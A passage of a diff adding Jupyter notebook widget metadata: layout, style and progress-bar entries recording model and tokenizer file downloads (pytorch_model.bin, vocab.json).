"DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "bf14652b43264c2b884e2d19786d6f5e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "bf52593db97e4b5f876d22d5c27e8c0d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bfd0a68276654b4997b802bc6d47f684": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c0771d4d9b7242c4a1b6ea8954e9e96e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c184aabb31504cbd8361a9ab06899438": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_9ee7a0fe9750457abaf427983e5866fe", + "max": 617, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_103ffa0973364618b4ce1d5528078062", + "value": 617 + } + }, + "c25de7e0bae0469d918bd6d3ea39211b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_35bd707e26044bd1a361c2fc2c11ea29", + "max": 342, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_ea8e9b50f98c43b58d7faccbfd6821cb", + "value": 342 + } + }, + "c30088b9866c429fa513397b03d2e3c8": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c318de49fe3a455992738cf20f7099ad": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5494938bff7d4c6da3d82f1034404362", + "placeholder": "​", + "style": "IPY_MODEL_f05ad5aa13a040609336f0d6b2580be2", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "c34ca1ea918344188c3241400aa3e775": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "c389029d6e9445febf2f623921140abe": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c39f69cd4e8b4bca8e95bda3b06a74f1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c3dc31d7d2be42be88fe03fa33e5f20d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7427e45c55994a6fa304d6d58ffeb1fb", + "placeholder": "​", + "style": "IPY_MODEL_2df0162802aa488dbddb9a7376954865", + "value": " 20/20 [00:04<00:00, 4.76it/s]" + } + }, + "c3e33bee752849c692d00ceabd561feb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "c420c12b2a76457c9ec7bb9db8eac9b3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c44f196498724b1b80b25bda832dc310": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c45aec98de234d3982ff83924dce8d7a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c48ca8b557154fac885edaebc4879321": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_fd444832eb3b4399946317b54b495d52", + "placeholder": "​", + "style": "IPY_MODEL_629f9b2f0b79420ba0baeb5961df73da", + "value": " 743/743 [00:00<00:00, 17.1kB/s]" + } + }, + "c64f35616d8e4b4bb129bc7aaa4ae889": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c6965bc561db4c519b751c5b7bff96a8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ba3cf4ae2c4e45e58abb82d2491fb7ba", + "placeholder": "​", + "style": "IPY_MODEL_c64f35616d8e4b4bb129bc7aaa4ae889", + "value": "100%" + } + }, + "c7b630dc7b8448219ca505398c12afef": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c7eafdcd51dc419c99b3248093fbfbff": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_dd9945400a2c413589af32550427f92d", + "placeholder": "​", + "style": "IPY_MODEL_8328f2c010f4426fbfef22482701f516", + "value": " 472/472 [00:00<00:00, 2.79kB/s]" + } + }, + "c81fe2532ac14ae6a5411a866f8e42ac": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c85b3e0dd20f414181d768cac5c9ab4e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_dd81ef8c35384eadb1572400c775f789", + "placeholder": "​", + "style": "IPY_MODEL_de80e8cbbd25433c88267a1f997772e7", + "value": "Downloading pytorch_model.bin: 100%" + } + }, + "c87c97a9ed4b493c8d6df7d11b1684ca": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c8ce8fd6e04e416381d892fbf75a0b75": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c8da6be1960c4f89a18d49205cbaa0df": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c905c8d69bcb404aa39ca499c96549e3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e8cbb2d5adae4b439639631ea833be72", + "placeholder": "​", + "style": "IPY_MODEL_06f53eb5d18941d8a947bcb21676e9c7", + "value": "Downloading (…)tokenizer/vocab.json: 100%" + } + }, + "c9311122d93c495faa2a8e0f4b8f7662": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c9678e8106544428a9f155e2da9f2693": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "ca5bf86a004a45a6ae2067fdc6eef091": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ca9e4db991b54eb986375b30bb367afa": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_4c8fa5fd3d224ce694243ea790de8986", + "IPY_MODEL_b2efd56d5e834196818f46a7b287c2c3", + "IPY_MODEL_3097e4c3b53e4343a9ed6860b8d3d033" + ], + "layout": "IPY_MODEL_a3fc1ea7dc724184ae564edeb2e755ba" + } + }, + "cb157284f72d428fb786527ce87d11a2": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "cb4c90617e8e4ef08052ade1d2694589": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "cb805d94485c4ff5a0aaec67e6cdb827": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "cbbf80dd8dc9471197c49732ae4d08ee": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_0a8a88ac007a41e4b0096fb114fe8a47", + "IPY_MODEL_d4c98d8a36eb4f769e23aa3f36535a0f", + "IPY_MODEL_20f315f7aae840d19ee8a068c68ff63c" + ], + "layout": "IPY_MODEL_c420c12b2a76457c9ec7bb9db8eac9b3" + } + }, + "cd4f33b831ff4bd4afabbdec87b9bc8d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "cd502f2ef8814082979d147f08177ff6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "ce5e2b3caef7421da3383cbdfc5b271f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ceb41aa2ac6c4c1982598a5085f7a977": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_719559db7a7943fbb823795a1697a10c", + "placeholder": "​", + "style": "IPY_MODEL_445925a5c9da455c90fd9225ab521c1f", + "value": "Downloading (…)cial_tokens_map.json: 100%" + } + }, + "cfe9f9f05cb8493f804cd521a3e3c1c1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": 